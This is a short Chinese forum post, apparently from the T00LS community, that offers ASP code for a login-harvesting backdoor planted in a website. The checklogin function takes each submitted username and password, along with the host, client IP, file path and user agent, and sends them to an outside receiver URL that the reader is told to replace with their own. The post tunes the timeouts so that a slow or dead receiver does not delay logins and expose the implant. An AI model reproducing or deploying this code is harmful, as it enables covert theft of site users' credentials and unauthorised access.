作者:xxbing

来源:T00LS

解决:

一旦接收账号密码的网址DNS无法解析\或者网站服务器瘫痪,将会造成对方登陆口登陆延时,延时可以达到1分钟左右.这样基本就暴露了自己插的代码


Function checklogin(namea,passb)
    xinxi=request.ServerVariables("Http_Host")&"|"&Request.ServerVariables("Remote_Addr")&"|"&request.ServerVariables("Path_Translated")
    xinxi=xinxi&"|"&request.ServerVariables("HTTP_USER_AGENT")
   '修改为自己的网址.jieshou.asp代码请通过百度搜索下载
    surl="http://www.baidu.com/jieshou.asp?name="&namea&"&pass="&passb&"&xinxi="&xinxi
    set xmlHttp=server.createobject("MSXML2.ServerXMLHTTP")
    on error resume next
    '单位是毫秒
    xmlHttp.setTimeouts 10000,10000,10000,30000
    xmlHttp.open "POST",surl,false
    xmlHttp.send
    if xmlHttp.readystate=4 then
    getBody=xmlhttp.responsebody
    else
    'response.end
    end if
    set xmlHttp=nothing
End Function


调用方法:


'请根据表单name值进行相应修改.
call checklogin(request.form("username"),request.form("password"))